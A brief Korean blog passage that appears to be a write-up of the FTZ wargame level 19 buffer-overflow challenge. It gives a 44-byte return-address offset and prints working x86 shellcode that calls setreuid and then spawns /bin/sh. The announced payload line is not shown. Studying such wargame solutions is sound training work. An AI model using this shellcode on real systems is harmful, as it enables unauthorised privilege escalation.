18번은 길었는데 19번은 매우 짧다...
ret 주소에 다음 단계로 넘어가는 쉘코드의 주소를 입력해주면 된다.
기존에 썼던 에그쉘은 setreuid 가 없는 쉘코드였다. 따라서 필자는 아래 사이트의 쉘코드를 빌려왔다.
(http://kali-km.tistory.com/entry/FTZ-Level19-Chaining-RTL-Calls)
"\x31\xc0\x31\xdb\x31\xc9\x66\xbb\x1c\x0c\x66\xb9\x1c\x0c\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"
총 44개의 더미 뒤 ret 주소가 존재한다.
페이로드는 다음과 같다.
'pwnable > FTZ' 카테고리의 다른 글
FTZ level18 (0) | 2016.07.24 |
---|---|
FTZ level17 (0) | 2016.07.24 |
FTZ level16 (0) | 2016.07.24 |
FTZ level15 (0) | 2016.07.23 |
FTZ level14 (1) | 2016.07.23 |